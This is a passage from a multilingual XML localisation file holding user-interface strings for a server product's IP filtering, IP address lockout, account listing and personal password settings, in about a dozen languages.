<es>Debe reiniciar el servicio de %PRODUCTNAME para que los cambios surtan efecto.</es>
<fr>Vous devez redémarrer le service de %PRODUCTNAME pour que les changements prennent effet.</fr>
<it>Per rendere effettive le modifiche, è necessario riavviare il servizio %PRODUCTNAME.</it>
<ru>Для того чтобы изменения вступили в силу, необходимо перезапустить службу %PRODUCTNAME.</ru>
<ja>変更が実施される前に、%PRODUCTNAME サービスを再起動する必要があります。</ja>
<zh>必须重新启动 %PRODUCTNAME 服务,更改才能生效。</zh>
<ko>변경 내용을 적용하기 전에 %PRODUCTNAME 서비스를 다시 시작해야 합니다.</ko>
<en-gb>You must restart the %PRODUCTNAME service before the changes take effect.</en-gb>
<hu>Újra kell indítania a %PRODUCTNAME szolgáltatást, hogy a módosítások érvénybe lépjenek.</hu>
<pt-br>É necessário reiniciar o serviço do %PRODUCTNAME antes da alteração ter efeito.</pt-br>
<nl>U moet de %PRODUCTNAME-service opnieuw starten om de wijzigingen van kracht te laten worden.</nl>
</msg>
<msg name="NEEDREBOOT">
<en>You must restart the computer before the changes take effect.</en>
<de>Anmerkung: Sie müssen den Computer neustarten, bevor die Änderungen wirksam werden.</de>
<es>Debe reiniciar el ordenador para que los cambios surtan efecto.</es>
<fr>Vous devez redémarrer l'ordinateur pour que les changements prennent effet.</fr>
<it>Per rendere effettive le modifiche, è necessario riavviare il computer.</it>
<ru>Для того чтобы изменения вступили в силу, необходимо перезапустить компьютер.</ru>
<ja>変更が実施される前に、コンピュータを再起動する必要があります。</ja>
<zh>必须重新启动计算机,更改才能生效。</zh>
<ko>변경 내용을 적용하기 전에 컴퓨터를 다시 시작해야 합니다.</ko>
<en-gb>You must restart the computer before the changes take effect.</en-gb>
<hu>Újra kell indítania a számítógépet, hogy a módosítások érvénybe lépjenek.</hu>
<pt-br>É necessário reiniciar o computador antes das alterações terem efeito.</pt-br>
<nl>U moet de computer opnieuw opstarten om de wijzigingen van kracht te laten worden.</nl>
</msg>
<msg name="IPFILTER">
<en>IP filter</en>
<de>IP Filter</de>
<es>Filtro IP</es>
<fr>Filtre IP</fr>
<it>Filtro IP</it>
<ru>IP-фильтр</ru>
<ja>IP フィルタ</ja>
<zh>IP 过滤器</zh>
<ko>IP 필터</ko>
<en-gb>IP filter</en-gb>
<hu>IP szűrő</hu>
<pt-br>Filtro de IP</pt-br>
<nl>IP-filter</nl>
</msg>
<msg name="NONE">
<en>(None)</en>
<de>(Keines)</de>
<es>(Ninguno)</es>
<fr>(aucun)</fr>
<it>(Nessuno)</it>
<ru>(Отсутствует)</ru>
<ja>(なし)</ja>
<zh>(无)</zh>
<ko>(없음)</ko>
<en-gb>(None)</en-gb>
<hu>(Nincs)</hu>
<pt-br>(Nenhum)</pt-br>
<nl>(Geen)</nl>
</msg>
<msg name="NA">
<!-- data not available -->
<en>N/A</en>
<de>N/A</de>
<es>No corresponde</es>
<fr>N/A</fr>
<it>N/D</it>
<ru>Н/Д</ru>
<ja>該当なし</ja>
<zh>N/A</zh>
<ko>해당 사항 없음</ko>
<en-gb>N/A</en-gb>
<hu>Nem elérhető</hu>
<pt-br>N/A</pt-br>
<nl>N.v.t.</nl>
</msg>
<cat name="USERLIST">
<msg name="BTNTEXT">
<en>List accounts</en>
<de>Konten auflisten</de>
<es>Crear lista de cuentas</es>
<fr>Liste des comptes</fr>
<it>Elenca account</it>
<ru>Перечислить учетные записи</ru>
<ja>アカウントのリスト化</ja>
<zh>列出帐户</zh>
<ko>도메인에서</ko>
<en-gb>List accounts</en-gb>
<hu>Felhasználói fiókok listája</hu>
<pt-br>Contas da lista</pt-br>
<nl>Lijst met accounts weergeven</nl>
</msg>
<msg name="CACHED">
<en>cached</en>
<de>zwischengespeichert</de>
<es>en caché</es>
<fr>en mémoire cache</fr>
<it>nella cache</it>
<ru>кэшированный</ru>
<ja>キャッシュ済み</ja>
<zh>已高速缓存</zh>
<ko>캐시된</ko>
<en-gb>cached</en-gb>
<hu>gyorsítótárazva</hu>
<pt-br>em cache</pt-br>
<nl>in cache</nl>
</msg>
<msg name="FROM">
<en>from domain</en>
<de>von der Domäne</de>
<es>del dominio</es>
<fr>du domaine</fr>
<it>dal dominio</it>
<ru>из домена</ru>
<ja>ドメインから</ja>
<zh>来自域</zh>
<ko>계정 나열</ko>
<en-gb>from domain</en-gb>
<hu>tartomány:</hu>
<pt-br>do domínio</pt-br>
<nl>van domein</nl>
</msg>
<msg name="DESCRIPTION">
<en>To enter a computer name, prepend it with two
backslashes (like \\\\MYSERVER), to enter a domain
name, do not use backslashes (like MYDOMAIN).</en>
<de>Stellen Sie zwei Schrägstriche (\\) dem Namen voran, wenn Sie einen
Computernamen eingeben (Beispiel: \\MYSERVER). Verzichten Sie jedoch auf die Voranstellung
der Schrägstriche wenn Sie einen Domänennamen eingeben (wie: MYDOMAIN).</de>
<es>Para introducir un nombre de ordenador, anteponga dos
barras invertidas (como \\\\MYSERVER), para introducir un nombre
de dominio, no las utilice (como MYDOMAIN).</es>
<fr>Pour saisir le nom d'un ordinateur, vous devez le faire précéder de deux
barres obliques en arrière (backslashes) (ex :  \\MYSERVER), pour entrer un nom de
domaine, ne pas saisir de barre oblique en arrière (backslash) (ex: MONDOMAINE)</fr>
<it>Per immettere un nome di computer, anteporre due barre rovesciate (ad esempio \\\\MIOSERVER); per immettere un nome di dominio, non utilizzare le barre rovesciate (ad esempio MIODOMINIO).</it>
<ru>При ведении имени компьютера перед ним нужно указать два обратные косые черты (например, \\\\MYSERVER), но при указании имени домена этого делать не нужно (например, MYDOMAIN).</ru>
<ja>コンピュータ名の入力では、\\\\MYSERVER のように先頭にバックスラッシュを 2 個付け、ドメイン名の入力では、MYDOMAIN のようにバックスラッシュを使いません。</ja>
<zh>要输入计算机名称,请在前面加两个反斜杠(例如 \\\\MYSERVER),要输入域名,请勿使用反斜杠(例如 MYDOMAIN)。</zh>
<ko>컴퓨터 이름을 입력할 경우 이름 앞에 역슬래시를 두 개 추가(예: \\\\MYSERVER)하고, 도메인 이름을 입력할 경우에는 역슬래시를 사용하지 마십시오(예: MYDOMAIN).</ko>
<en-gb>To enter a computer name, precede it with two backslashes (like \\\\MYSERVER), to enter a domain name, do not use backslashes (like MYDOMAIN).</en-gb>
<hu>Egy számítógépnév beírásánál tegyen eléje két 
fordított törtjelet (pl. \\\\SAJATKISZOLGALO), egy tartománynév beírásához
ne használja a fordított törtjelet (pl. SAJATTARTOMANY),</hu>
<pt-br>Para digitar um nome de computador, preceda-o com duas
barras invertidas (como \\\\MYSERVER), para digitar um nome de 
domínio, não use barras invertidas (como MYDOMAIN).</pt-br>
<nl>Als u een computernaam wilt opgeven, laat u de naam voorafgaan door twee backslashes (bv. \\\\MIJNSERVER) en als u een domeinnaam opgeeft, gebruikt u geen backslashes (bv. MIJNDOMEIN).</nl>
</msg>
</cat>
<cat name="IPFILTER">
<msg name="TITLE">
<en>IP Filtering</en>
<de>IP Filterung</de>
<es>Filtrado de IPs</es>
<fr>Filtre IP</fr>
<it>Filtraggio IP</it>
<ru>IP-фильтрация</ru>
<ja>IP フィルタリング</ja>
<zh>IP 过滤</zh>
<ko>IP 필터링</ko>
<en-gb>IP Filtering</en-gb>
<hu>IP szűrés</hu>
<pt-br>Filtragem de IP</pt-br>
<nl>IP-adressen filteren</nl>
</msg>
<msg name="DESCRIPTION">
<en>Here you can create profiles to allow or deny connections from specific IP addresses. To create a 
new profile, enter a profile name and click Add. To edit an existing profile, select it from the list 
and click Edit.</en>
<es>Aquí puede crear perfiles para permitir o denegar conexiones de direcciones IP específicas. Para crear un 
perfil nuevo, introduzca un nombre de perfil y haga clic en Agregar. Para modificar un perfil existente, selecciónelo de la lista 
y haga clic en Editar.</es>
<fr>Ici, vous pouvez créer des profils autorisant ou interdisant les connections d'adresses IP spécifiques. Pour créer un
nouveau profil, entrez un nom de profil et cliquez sur Ajouter. Pour éditer un profil existant, choisissez-le à partir de la liste 
et cliquez sur Editer.</fr>
<de>Hier können Sie Profile erstellen, die Verbindungen von bestimmten IP-Adressen zulassen oder verweigern. Um ein neues Profil zu erstellen, geben Sie einen Profilnamen ein, und klicken Sie anschließend auf "Hinzufügen". Um ein vorhandenes Profil zu bearbeiten, wählen Sie dieses aus der Liste aus, und klicken Sie anschließend auf "Bearbeiten".</de>
<it>È possibile creare profili per consentire o impedire la connessione da indirizzi IP specifici. Per creare un nuovo profilo, immettere il nome del profilo e fare clic su Aggiungi. Per modificare un profilo esistente, selezionarlo dall'elenco e fare clic su Modifica.</it>
<ru>Здесь можно создать профили, чтобы разрешить или запретить подключения от конкретных адресов. Чтобы создать новый профиль, введите имя профиля и щелкните "Добавить". Чтобы изменить существующий профиль, выберите его из списка и щелкните "Изменить".</ru>
<ja>ここでは、特定の IP アドレスからの接続を許可または拒否するためのプロファイルを作成できます。新しいプロファイルを作成するには、プロファイル名を入力して [追加] をクリックします。既存のプロファイルを編集するには、リストから選択してから[編集] をクリックします。</ja>
<zh>您可以在此创建配置文件以允许或拒绝来自特定 IP 地址的连接。要创建新的配置文件,请输入配置文件名称并单击“添加”。要编辑现有的配置文件,请从列表中选择此配置文件并单击“编辑”。</zh>
<ko>특정 IP 주소에서 연결을 허용 또는 거부하는 프로필을 만들 수 있습니다. 새 프로필을 만들려면 프로필 이름을 입력한 후 "추가"를 클릭하십시오. 기존 프로필을 편집하려면 목록에서 프로필을 선택한 후 "편집"을 클릭하십시오.</ko>
<en-gb>Here you can create profiles to allow or deny connections from specific IP addresses. To create a new profile, enter a profile name and click Add. To edit an existing profile, select it from the list and click Edit.</en-gb>
<hu>Itt profilokat hozhat létre, ahol engedélyezheti, vagy tilthatja az adott IP címekkel való kapcsolatot. Egy új profil 
létrehozásához adja meg a profil nevét, és kattintson a Hozzáadás gombra. Egy meglévő profil szerkesztéséhez válassza ki azt a listából,  
és kattintson a Szerkesztés gombra.</hu>
<pt-br>Aqui você pode criar perfis para permitir ou negar conexões de endereços IP específicos. Para criar um
novo perfil, digite um nome de perfil e clique em Adicionar. Para editar um perfil existente, selecione-o na lista e
clique em Editar.</pt-br>
<nl>Met deze optie kunt u profielen maken om verbindingen vanaf specifieke IP-adressen toe te staan of te weigeren. Als u een nieuw profiel wilt maken, voert u een profielnaam in en klikt u op de knop "Toevoegen". Als u een bestaand profiel wilt bewerken, selecteert u het gewenste profiel in de lijst en klikt u op de knop "Bewerken".</nl>
</msg>
<msg name="PROFILES">
<en>Profiles</en>
<de>Profile</de>
<es>Perfiles</es>
<fr>Profils</fr>
<it>Profili</it>
<ru>Профили</ru>
<ja>プロファイル</ja>
<zh>配置文件</zh>
<ko>프로필</ko>
<en-gb>Profiles</en-gb>
<hu>Profilok</hu>
<pt-br>Perfis</pt-br>
<nl>Profielen</nl>
</msg>
<msg name="VIEW">
<en>View profiles</en>
<de>Profil anzeigen</de>
<es>Ver perfiles</es>
<fr>Voir les profils</fr>
<it>Visualizza profili</it>
<ru>Просмотреть профили</ru>
<ja>プロファイルを表示</ja>
<zh>查看配置文件</zh>
<ko>프로필 보기</ko>
<en-gb>View profiles</en-gb>
<hu>Profilok megtekintése</hu>
<pt-br>Exibir perfis</pt-br>
<nl>Profielen weergeven</nl>
</msg>
<msg name="USE">
<en>Use profile</en>
<es>Utilizar perfil</es>
<fr>Utiliser le profil</fr>
<de>Profil verwenden</de>
<it>Usa profilo</it>
<ru>Использовать профили</ru>
<ja>プロファイルを使用</ja>
<zh>使用配置文件</zh>
<ko>프로필 사용</ko>
<en-gb>Use profile</en-gb>
<hu>Profil használata</hu>
<pt-br>Perfil do usuário</pt-br>
<nl>Profiel gebruiken</nl>
</msg>
<msg name="FILTERTITLE">
<en>IP Filters In Profile</en>
<de>IP Filter im Profil</de>
<es>Filtros IP del perfil</es>
<fr>Filtre IP dans les Profils</fr>
<it>Filtri IP nel profilo</it>
<ru>IP-фильтры профиля</ru>
<ja>プロファイル内の IP フィルタ</ja>
<zh>配置文件中的 IP 过滤器</zh>
<ko>프로필의 IP 필터</ko>
<en-gb>IP Filters In Profile</en-gb>
<hu>IP szűrők a profilban</hu>
<pt-br>Filtros IP no perfil</pt-br>
<nl>IP-filters in profiel</nl>
</msg>
<msg name="ALLOW">
<en>allow</en>
<de>erlauben</de>
<es>permitir</es>
<fr>authorisé</fr>
<it>consenti</it>
<ru>разрешить</ru>
<ja>許可</ja>
<zh>允许</zh>
<ko>허용</ko>
<en-gb>allow</en-gb>
<hu>engedélyezés</hu>
<pt-br>permitir</pt-br>
<nl>toestaan</nl>
</msg>
<msg name="DENY">
<en>deny</en>
<de>verweigern</de>
<es>denegar</es>
<fr>refusé</fr>
<it>nega</it>
<ru>запретить</ru>
<ja>拒否</ja>
<zh>拒绝</zh>
<ko>거부</ko>
<en-gb>deny</en-gb>
<hu>tiltás</hu>
<pt-br>negar</pt-br>
<nl>weigeren</nl>
</msg>
<msg name="ADDRESS">
<en>Address</en>
<de>Adresse</de>
<es>Dirección</es>
<fr>Adresse</fr>
<it>Indirizzo</it>
<ru>Адрес</ru>
<ja>アドレス</ja>
<zh>地址</zh>
<ko>주소</ko>
<en-gb>Address</en-gb>
<hu>Cím</hu>
<pt-br>Endereço</pt-br>
<nl>Adres</nl>
</msg>
<msg name="SUBNET">
<en>Subnet</en>
<de>Subnet</de>
<es>Subred</es>
<fr>Sous-rés.</fr>
<it>Subnet</it>
<ru>Подсеть</ru>
<ja>サブネット</ja>
<zh>子网</zh>
<ko>서브넷</ko>
<en-gb>Subnet</en-gb>
<hu>Alhálózat</hu>
<pt-br>Sub-rede</pt-br>
<nl>Subnet</nl>
</msg>
<msg name="ADDFILTER">
<en>Add filter</en>
<de>Filter hinzufügen</de>
<es>Agregar filtro</es>
<fr>Ajout Filtre</fr>
<it>Aggiungi filtro</it>
<ru>Добавить фильтр</ru>
<ja>フィルタを追加</ja>
<zh>添加过滤器</zh>
<ko>필터 추가</ko>
<en-gb>Add filter</en-gb>
<hu>Szűrő hozzáadása</hu>
<pt-br>Adicionar filtro</pt-br>
<nl>Filter toevoegen</nl>
</msg>
<msg name="INUSE">
<en>Cannot delete this profile because it's currently in use.</en>
<de>Das Profil kann nicht gelöscht werden, da es zurzeit verwendet wird.</de>
<es>No puede eliminar este perfil, ya que está siendo utilizado.</es>
<fr>Impossible de supprimer ce profil car il est actuellement utilisé.</fr>
<it>Impossibile eliminare il profilo perché è attualmente in uso.</it>
<ru>Не удается удалить данный профиль, так как в настоящее время он используется.</ru>
<ja>このプロファイルは現在使用中のため削除できません。</ja>
<zh>由于此配置文件当前正在使用中,因此无法删除。</zh>
<ko>이 프로필은 현재 사용 중이므로 삭제할 수 없습니다.</ko>
<en-gb>Cannot delete this profile because it's currently in use.</en-gb>
<hu>Ez a profil nem törölhető, mivel jelenleg használatban van.</hu>
<pt-br>Não é possível excluir este perfil, pois ele está em uso no momento.</pt-br>
<nl>Dit profiel kan niet worden verwijderd omdat het op dit moment in gebruik is.</nl>
</msg>
<msg name="ADDNEWPROFILE">
<en>Add a new Profile</en>
<es>Agregar un nuevo perfil</es>
<de>Neues Profil hinzufügen</de>
<fr>Ajouter un profil</fr>
<it>Aggiungi un nuovo profilo</it>
<ru>Добавить новый профиль</ru>
<ja>新しいプロファイルの追加</ja>
<zh>添加新的配置文件</zh>
<ko>새 프로필 추가</ko>
<hu>Új profil létrehozása</hu>
<pt-br>Adicionar um novo perfil</pt-br>
<nl>Een nieuw profiel toevoegen</nl>
<en-gb>Add a new Profile</en-gb>
</msg>
<msg name="FILTERINFO">
<en>The filters are executed from top to bottom. Use the [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] buttons with a selected filter to change the order.</en>
<es>Los filtros se ejecutan de arriba a abajo. Utilice los botones [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] con un filtro seleccionado para cambiar el orden.</es>
<de>Die Filter werden der Reihe nach von oben nach unten ausgeführt. Mit den Schaltflächen „[{DIALOG.MOVEUP}]“ bzw. „[{DIALOG.MOVEDN}]“ können Sie den markierten Filter nach oben oder unten verschieben.</de>
<fr>Les filtres sont pris en compte de haut en bas. Sélectionnez un filtre et utilisez les boutons [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] le déplacer.</fr>
<it>I filtri vengono eseguiti dal basso verso l'alto. Utilizzare i [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}]pulsanti con un filtro selezionato per modificare l'ordine.</it>
<ru>Фильтры применяются в порядке сверху вниз. Нажимайте кнопки [{DIALOG.MOVEUP}] и [{DIALOG.MOVEDN}], выбрав фильтр, для изменения его положения.</ru>
<ja>フィルタは上から下の順に実行されます。 選択したフィルタで [[{DIALOG.MOVEUP}]]/[[{DIALOG.MOVEDN}]] ボタンを使用して順序を変更します。</ja>
<zh>此过滤器已从上到下执行。 利用 [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] 按钮和所选的过滤器来更改顺序。</zh>
<ko>맨 위에서 아래까지 필터가 실행됩니다. 선택한 필터의 순서를 변경하려면 [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] 버튼을 사용하십시오.</ko>
<hu>A szűrők végrehajtása fentről lefelé sorrendben történik. A kijelölt szűrő pozíciója a [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] gombokkal módosítható.</hu>
<pt-br>Os filtros são executados em ordem decrescente. Use os botões [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] com um filtro selecionado para alterar a ordem.</pt-br>
<nl>De filters worden niet van boven naar beneden uitgevoerd. Gebruik de knoppen [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] om de volgorde voor de geselecteerde filter te veranderen.</nl>
<en-gb>The filters are executed from top to bottom. Use the [{DIALOG.MOVEUP}]/[{DIALOG.MOVEDN}] buttons with a selected filter to change the order.</en-gb>
</msg>
<msg name="DELSELECTED">
<en>Delete Selected Profile</en>
<es>Eliminar seleccionado</es>
<de>Profil löschen</de>
<fr>Supprimer le profil</fr>
<it>Elimina profilo selezionato</it>
<ru>Удалить выбранный</ru>
<ja>選択したプロファイルの削除</ja>
<zh>删 除所选的配置文件</zh>
<ko>선 택한 프 로필 삭 제</ko>
<hu>Kijelölt profil törlése</hu>
<pt-br>Excluir perfil selecionado</pt-br>
<nl>Selectie verwijderen</nl>
<en-gb>Delete Selected Profile</en-gb>
</msg>
<msg name="TYPE">
<en>Type</en>
<es>Tipo</es>
<de>Typ</de>
<fr>Type</fr>
<it>Tipo</it>
<ru>Тип</ru>
<ja>種類</ja>
<zh>类型</zh>
<ko>유형</ko>
<hu>Típus</hu>
<pt-br>Tipo</pt-br>
<nl>Type</nl>
<en-gb>Type</en-gb>
</msg>
</cat>
<cat name="IPLOCKOUT">
<msg name="TITLE">
<en>IP Address Lockout</en>
<de>IP-Adressen sperren</de>
<es>Bloqueo de Dirección IP</es>
<fr>Blocage Adresse IP</fr>
<it>Blocco dell'indirizzo IP</it>
<ru>IP-адрес заблокирован</ru>
<ja>IP アドレスのロックアウト</ja>
<zh>IP 地址锁定</zh>
<ko>IP 주소 잠금</ko>
<en-gb>IP Address Lockout</en-gb>
<hu>IP cím zárolása</hu>
<pt-br>Bloqueio de endereço IP</pt-br>
<nl>Blokkeren van IP-adressen</nl>
</msg>
<msg name="ENABLED">
<en>Active</en>
<de>Aktiv</de>
<es>Activo</es>
<fr>Actif</fr>
<it>Attivo</it>
<ru>Активный</ru>
<ja>アクティブ</ja>
<zh>活动</zh>
<ko>사용 중</ko>
<en-gb>Active</en-gb>
<hu>Aktív</hu>
<pt-br>Ativo</pt-br>
<nl>Geactiveerd</nl>
</msg>
<msg name="DOSCOUNT">
<en>Number of invalid HTTP requests allowed</en>
<es>Número de solicitudes incorrectas de HTTP permitidas</es>
<de>Anzahl zulässiger ungültiger HTTP-Anforderungen</de>
<fr>Nombre autorisé de requêtes HTTP non valables</fr>
<it>Numero consentito di richieste HTTP non valide</it>
<ru>Разрешенное число недопустимых HTTP-запросов</ru>
<ja>無効な HTTP 要求の最大数</ja>
<zh>允许的无效 HTTP 请求数量</zh>
<ko>허용된 올바르지 않은 HTTP 요청 수</ko>
<hu>Érvénytelen HTTP-kérések engedélyezett száma</hu>
<pt-br>Número permitido de solicitações HTTP inválidas</pt-br>
<nl>Maximumaantal ongeldige HTTP-verzoeken</nl>
<en-gb>Number of invalid HTTP requests allowed</en-gb>
</msg>
<msg name="CONFIG.IPLOCKOUT.COUNT">
<en>Number of invalid attempts allowed</en>
<es>Número de intentos incorrectos permitidos</es>
<de>Anzahl zulässiger ungültiger Versuche</de>
<fr>Nombre autorisé de tentatives non valables</fr>
<it>Numero di tentativi non validi consentiti</it>
<ru>Разрешенное число недопустимых попыток</ru>
<ja>無効な試行の最大数</ja>
<zh>允许的无效尝试次数</zh>
<ko>허용된 올바르지 않은 시도 수</ko>
<hu>Érvénytelen próbálkozások engedélyezett száma</hu>
<pt-br>Número permitido de tentativas inválidas</pt-br>
<nl>Maximumaantal ongeldige pogingen</nl>
<en-gb>Number of invalid attempts allowed</en-gb>
</msg>
<msg name="DOSRESET">
<en>Reset invalid request counter after</en>
<en-gb>Reset invalid request counter after</en-gb>
<de>Zähler ungültiger Anfragen zurücksetzen nach</de>
<es>Reiniciar contador de solicitudes no válidas después de</es>
<fr>Réinitialiser le compteur de requêtes non valables après</fr>
<it>Azzera il contatore di richieste non valide dopo</it>
<nl>Teller van ongeldige verzoeken opnieuw op nul zetten na</nl>
<pt-br>Redefinir contador de solicitação inválida após</pt-br>
<hu>Érvénytelen kérések számának nullázása ennyi idő után</hu>
<ru>Сбрасывать счетчик недопустимых запросов через</ru>
<ja>次の時刻の後に無効要求カウンタをリセットする</ja>
<zh>在此时间后重置无效请求计数器</zh>
<ko>다음 시간 후 잘못된 요청 재설정</ko>
</msg>
<msg name="COUNT">
<en>Number of invalid attempts allowed</en>
<es>Número de intentos incorrectos permitidos</es>
<de>Anzahl zulässiger ungültiger Versuche</de>
<fr>Nombre autorisé de tentatives non valables</fr>
<it>Numero di tentativi non validi consentiti</it>
<ru>Разрешенное число недопустимых попыток</ru>
<ja>無効な試行の最大数</ja>
<zh>允许的无效尝试次数</zh>
<ko>허용된 올바르지 않은 시도 수</ko>
<hu>Érvénytelen próbálkozások engedélyezett száma</hu>
<pt-br>Número permitido de tentativas inválidas</pt-br>
<nl>Maximumaantal ongeldige pogingen</nl>
<en-gb>Number of invalid attempts allowed</en-gb>
</msg>
<msg name="RESET">
<en>Reset invalid attempt counter after</en>
<de>Zähler der ungültigen Anmeldungen zurücksetzen nach</de>
<es>Reiniciar contador de intentos no válidos después de</es>
<fr>Réinitialiser le compteur d'essais infructueux après</fr>
<it>Azzera contatore di tentativi non validi dopo</it>
<ru>Сбросить счетчик недопустимых попыток после</ru>
<ja>次の後、無効な試行のカウンタをリセットする</ja>
<zh>在以下情况后重置无效尝试计数器</zh>
<ko>다음 시간 후 잘못된 시도 수 재설정</ko>
<en-gb>Reset invalid attempt counter after</en-gb>
<hu>Érvénytelen próbálkozások számának nullázása ennyi idő után</hu>
<pt-br>Redefinir contador de tentativa inválida depois</pt-br>
<nl>Teller van ongeldige pogingen opnieuw op nul zetten na</nl>
</msg>
<msg name="LOCKOUT">
<en>Lock out for</en>
<de>Sperren für</de>
<es>Bloqueo para</es>
<fr>Blocage pour</fr>
<it>Blocco per</it>
<ru>Заблокировать для</ru>
<ja>ロックアウトの対象</ja>
<zh>针对以下对象锁定</zh>
<ko>잠금</ko>
<en-gb>Lock out for</en-gb>
<hu>Zárolás ennyi időre:</hu>
<pt-br>Bloquear para</pt-br>
<nl>Blokkeren voor</nl>
</msg>
<msg brand="LMI" name="LOCKOUT">
<en>Keep attacker blocked for</en>
<es>Mantener al atacante bloqueado para</es>
<fr>Bloquer l'agresseur pendant</fr>
<it>Mantieni bloccato autore dell'attacco per</it>
<ru>Блокировать нарушителя в течение</ru>
<ja>次の間は攻撃者をブロック </ja>
<zh>保持阻止攻击者</zh>
<ko>다음 기간 동안 공격 차단</ko>
<hu>Támadó letiltásának időtartama</hu>
<pt-br>Manter invasor bloqueado no seguinte período:</pt-br>
<nl>Aanvaller blokkeren gedurende</nl>
<en-gb>Keep attacker blocked for</en-gb>
</msg>
<msg name="DELETED">
<en>IP address lockout status cleared.</en>
<de>Status gesperrter IP-Adressen zurückgesetzt.</de>
<es>Se ha limpiado el estado del bloqueo de direcciones IP.</es>
<fr>Statut du blocage d'adresses IP nettoyé</fr>
<it>Stato di blocco dell'indirizzo IP cancellato.</it>
<ru>Состояние блокировки IP-адреса снято.</ru>
<ja>IP アドレスのロックアウト ステータスが消去されました。</ja>
<zh>已清除 IP 地址锁定状态。</zh>
<ko>IP 주소 잠금 상태가 지워졌습니다.</ko>
<en-gb>IP address lockout status cleared.</en-gb>
<hu>Az IP cím zárolási állapota törölve.</hu>
<pt-br>Status de bloqueio de endereço IP limpo.</pt-br>
<nl>De status voor blokkeren van IP-adressen is opnieuw ingesteld.</nl>
</msg>
<msg name="UPDATED">
<en>Settings updated.</en>
<de>Einstellungen wurden aktualisiert.</de>
<es>Actualización de la configuración.</es>
<fr>Paramètres mis à jour.</fr>
<it>Impostazioni aggiornate.</it>
<ru>Параметры обновлены.</ru>
<ja>設定が更新されました。</ja>
<zh>已更新设置。</zh>
<ko>설정이 업데이트되었습니다.</ko>
<en-gb>Settings updated.</en-gb>
<hu>A beállítások frissültek.</hu>
<pt-br>Configurações atualizadas.</pt-br>
<nl>De instellingen zijn bijgewerkt.</nl>
</msg>
<msg name="NONE">
<en>Currently no IP addresses are blocked.</en>
<es>Actualmente, no hay ninguna dirección IP bloqueada.</es>
<de>Derzeit sind keine IP-Adressen gesperrt.</de>
<fr>Aucune adresse IP actuellement bloquée.</fr>
<it>Attualmente non sono presenti indirizzi IP bloccati.</it>
<ru>В настоящее время IP-адреса не блокируются.</ru>
<ja>現時点ではブロックされた IP アドレスはありません。</ja>
<zh>当前没有 IP 地址被阻止。</zh>
<ko>현재 차단된 IP 주소가 없습니다.</ko>
<hu>Jelenleg nincsenek letiltott IP-címek.</hu>
<pt-br>Não há endereços IP bloqueados no momento.</pt-br>
<nl>Op dit ogenblik zijn er geen IP-adressen geblokkeerd.</nl>
<en-gb>Currently no IP addresses are blocked.</en-gb>
</msg>
<msg name="UNBLOCK">
<en>Unblock</en>
<es>Desbloquear</es>
<de>Sperre aufheben</de>
<fr>Débloquer</fr>
<it>Sblocca</it>
<ru>Разблокировать</ru>
<ja>ブロック解除</ja>
<zh>解除阻止</zh>
<ko>해제</ko>
<hu>Tiltás feloldása</hu>
<pt-br>Desbloquear</pt-br>
<nl>Deblokkeren</nl>
<en-gb>Unblock</en-gb>
</msg>
</cat>
<!-- General setting update confirmation message -->
<msg name="SETTING.UPDATED">
<en>The %SETTINGUPDATED settings have been updated.</en>
<de>Die %SETTINGUPDATED Einstellungen wurden aktualisiert.</de>
<es>La configuración de %SETTINGUPDATED se ha actualizado.</es>
<fr>Les paramètres de %SETTINGUPDATED ont été mis à jour.</fr>
<it>Le impostazioni %SETTINGUPDATED sono state aggiornate.</it>
<ru>Обновлены параметры %SETTINGUPDATED.</ru>
<ja>%SETTINGUPDATED 設定が更新されています。</ja>
<zh>已更新 %SETTINGUPDATED 设置。</zh>
<ko>%SETTINGUPDATED 설정이 업데이트되었습니다.</ko>
<en-gb>The %SETTINGUPDATED settings have been updated.</en-gb>
<hu>A(z) %SETTINGUPDATED beállítások frissültek.</hu>
<pt-br>As configurações %SETTINGUPDATED foram atualizadas.</pt-br>
<nl>De instellingen voor %SETTINGUPDATED  zijn bijgewerkt.</nl>
</msg>
<!-- RSA config description -->
<msg name="RSA.SHORTDESC">
<en>Configure RSA SecurID options</en>
<de>Optionen für RSA SecurID konfigurieren</de>
<es>Configurar opciones de RSA SecurID</es>
<fr>Configurer les options RSA SecurID</fr>
<it>Configura opzioni RSA SecurID</it>
<ru>Настроить параметры RSA SecurID</ru>
<ja>RSA SecurID オプションを設定</ja>
<zh>配置 RSA SecurID 选项</zh>
<ko>RSA SecurID 옵션 구성</ko>
<en-gb>Configure RSA SecurID options</en-gb>
<hu>RSA SecurID beállítások konfigurálása</hu>
<pt-br>Configure as opções de ID do RSA Secur</pt-br>
<nl>Opties voor RSA SecurID configureren</nl>
</msg>
<!-- Personal Password config messages -->
<cat name="PPWD">
<msg name="TITLE">
<en>Personal Password</en>
<de>Persönliches Kennwort</de>
<es>Contraseña personal</es>
<fr>Mot de passe personnel</fr>
<it>Password personale</it>
<ru>Личный пароль</ru>
<ja>パーソナル パスワード</ja>
<zh>个人密码</zh>
<ko>개인 암호</ko>
<en-gb>Personal Password</en-gb>
<hu>Személyes jelszó</hu>
<pt-br>Senha pessoal</pt-br>
<nl>Persoonlijk wachtwoord</nl>
</msg>
<msg name="SHORTDESC">
<en>Set, change or remove your Personal Password.</en>
<de>Setzen, ändern oder löschen ihres persönlichen Kennworts.</de>
<es>Establezca, cambie o quite su contraseña personal.</es>
<fr>Déterminez, modifiez ou supprimer votre Mot de passe Personnel.</fr>
<it>Impostare, modificare o rimuovere la password personale.</it>
<ru>Установите, измените или удалите личный пароль.</ru>
<ja>パーソナル パスワードを設定、変更、または削除します。</ja>
<zh>设置、更改或删除个人密码。</zh>
<ko>개인 암호를 설정하거나 변경 또는 제거합니다.</ko>
<en-gb>Set, change or remove your Personal Password.</en-gb>
<hu>Személyes jelszó beállítása, megváltoztatása vagy törlése.</hu>
<pt-br>Defina, altere ou remova sua senha pessoal.</pt-br>
<nl>Uw persoonlijk wachtwoord instellen, wijzigen of verwijderen.</nl>
</msg>
<msg name="DESC">
<en>Please enter a new Personal Password.</en>
<de>Geben sie bitte ein persönliches Kennwort ein.</de>
<es>Introduzca una contraseña personal nueva.</es>
